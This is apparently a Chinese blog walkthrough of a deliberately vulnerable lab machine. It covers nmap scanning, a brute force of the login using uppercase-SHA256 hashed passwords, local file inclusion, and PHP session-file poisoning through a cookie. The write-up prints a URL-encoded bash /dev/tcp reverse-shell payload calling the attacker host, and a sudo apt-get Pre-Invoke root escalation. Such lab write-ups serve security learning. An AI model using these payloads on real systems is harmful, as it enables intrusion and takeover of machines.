前言

这个主机还是比较简单的,又学到了一种文件包含漏洞的利用姿势。

信息收集

首先扫描主机ip:

1
2
3
4
5
6
7
8
9
10
11
kali@kali:~$ nmap -sP 192.168.247.1/24
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-06 02:25 EDT
Nmap scan report for 192.168.247.1
Host is up (0.0016s latency).
Nmap scan report for 192.168.247.2
Host is up (0.00045s latency).
Nmap scan report for 192.168.247.210
Host is up (0.00086s latency).
Nmap scan report for 192.168.247.226
Host is up (0.0014s latency).
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.59 seconds

发现目标主机ip为1921.168.247.226,接着扫描开启的服务:

1
2
3
4
5
6
7
8
9
10
11
12
kali@kali:~$ nmap -p1-65535 -A 192.168.247.226
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-05 08:52 EDT
Nmap scan report for 192.168.247.226
Host is up (0.00025s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Login

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.76 seconds

nmap扫描只在目标主机发现了http服务。

登录密码爆破

访问目标站点,发现需要先登录:

1

随便尝试下密码,抓个包,发现提示我们:

1
Password or password hash is not correct, make sure to hash it before submit.

2

原来我们需要先给密码进行sha256加密再提交啊。而且之前在测试登录密码的时候,还尝试了sql注入,结果发现提示:

1
Username is not correct.

3

这说明用户名admin是正确的,然后拿到burpsuite中去fuzz,直接fuzz密码就行。因为之前已经提示需要给密码sha256加密了,所以在burp中需要设置一下。将Payload Sets设置为Runtime file,并对每个密码进行sha256加密:

4

但是跑完之后发现什么都没跑出来,换了大一点的字典还是一样的结果,郁闷。看了别人的wp,发现sha256值竟然是大写的,而burpsuite默认的sha256加密之后结果是小写的。那就先将字典处理一下好了:

1
2
3
4
5
6
7
8
9
10
11
12
import hashlib

fr = open('passwd.txt', 'r')
fw = open('passwd_sha256.txt', 'w')
lines = fr.readlines()
fr.close()
for line in lines:
line = line.strip('\n')
line_sha256 = hashlib.sha256(line.encode('utf-8')).hexdigest().upper()
fw.write(line_sha256)
fw.write('\n')
fw.close()

然后用新的字典重新fuzz,发现了密码,此时没了登录错误的提示:

5

得到登录的账号密码:

1
username=admin&password=8C6976E5B5410415BDE908BD4DEE15DFB167A9C873FC4BB8A81F6F2AB448A918

漏洞挖掘

登录之后发现有一个搜索框,还有一个Cookie条款:

6

先看一下这个搜索框,随便输入12,返回:

7

如果查看一些敏感文件呢?比如/etc/passwd,竟然真的返回了内容:
8

说明此处存在一个文件包含漏洞。

漏洞利用

session文件利用

因为靶机上是apache服务器,先尝试包含apache常见的日志文件:

1
2
3
4
/var/log/apache/access.log
/var/log/apache2/access.log
/var/www/logs/access.log
/var/log/access.log

但是都没有回显。在cookie.php页面中说网站使用了cookie和session来维持用户和服务器会话的状态:

9

session文件的默认保存位置由php.ini文件中的session.save_path来决定,在linux中一般为:

1
2
/tmp
/var/lib/php/sessions

session文件的文件名开头为sess_

F12查看cookie值为k8loege82kes1tn96762sqk2m1,所以对应的session文件就是/var/lib/php/sessions/sess_k8loege82kes1tn96762sqk2m1,尝试包含该文件:

10

1
loggedin|b:1;name|s:5:"admin";id|i:1;user_pref|s:1:"/";

其中user_pref是另一个cookie值,传入时是需要url编码的。那可以用user_pref写入一些php代码:

1
2
3
<?php phpinfo();?>
====>
%3c%3fphp+phpinfo()%3b%3f%3e

11

包含该文件,已经执行了phpinfo();,可能看的不是很清楚:

12

反弹shell

那么接下来就可以进行反弹shell

1
2
3
<?php system ("bash -c 'bash -i >& /dev/tcp/192.168.247.210/23333 0>&1'");?>
====>
%3c%3fphp+system+(%22bash+-c+%27bash+-i+%3e%26+%2fdev%2ftcp%2f192.168.247.210%2f23333+0%3e%261%27%22)%3b%3f%3e

13

成功连接目标主机。

提权

根据内核版本提权

首先查看目标主机的内核版本以及操作系统:

1
2
3
4
5
6
www-data@ubuntu:/var/www/html$ uname -r
uname -r
4.4.0-21-generic
www-data@ubuntu:/var/www/html$ uname -a
uname -a
Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

这个内核版本和DC-3靶场是一样的啊,都是ubuntu 4.4.21。打开metasploit,搜索可用的本地提权漏洞:

14

根据39772.txt中的poc,首先要下载提供的exp:https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip (得挂个代理才行)。

下载后解压zip包发现有两个tar包,分别是crasher.tarexploit.tar,这里用的是exploit.tar包中的exp,解压后有4个文件:

1
2
3
4
compile.sh
doubleput.c
hello.c
suidhelper.c

同样将这4个文件上传到目标主机上,先赋予compile.sh文件执行权限,然后执行:

1
2
$ chmod -R 777 compile.sh
$ ./compile.sh

但是在执行compile.sh时出错了:

15

因为对二进制不了解,我也没办法修改exp,只能另辟蹊径。

sudo命令提权

sudo -l查看有什么命令是当前用户能sudo执行的:

16

发现了/usr/bin/apt-get命令,在网上看到了一篇利用apt-get提权的文章: https://www.hackingarticles.in/linux-for-pentester-apt-privilege-escalation/ :

18

1
sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/bash

19

提权成功。

总结

这次的漏洞又是一个文件包含漏洞,之前的利用点是apache或是nginx的日志文件,这次是因为站点启用了cookie和session,所以这里是利用了session文件代码执行来进行反弹shell,其实这个知识点在之前的就已经学过了CVE-2018-12613 phpMyAdmin 4.8.1 文件包含漏洞 & HCTF2018 WarmUp,但是要想起来利用还是有点难度的。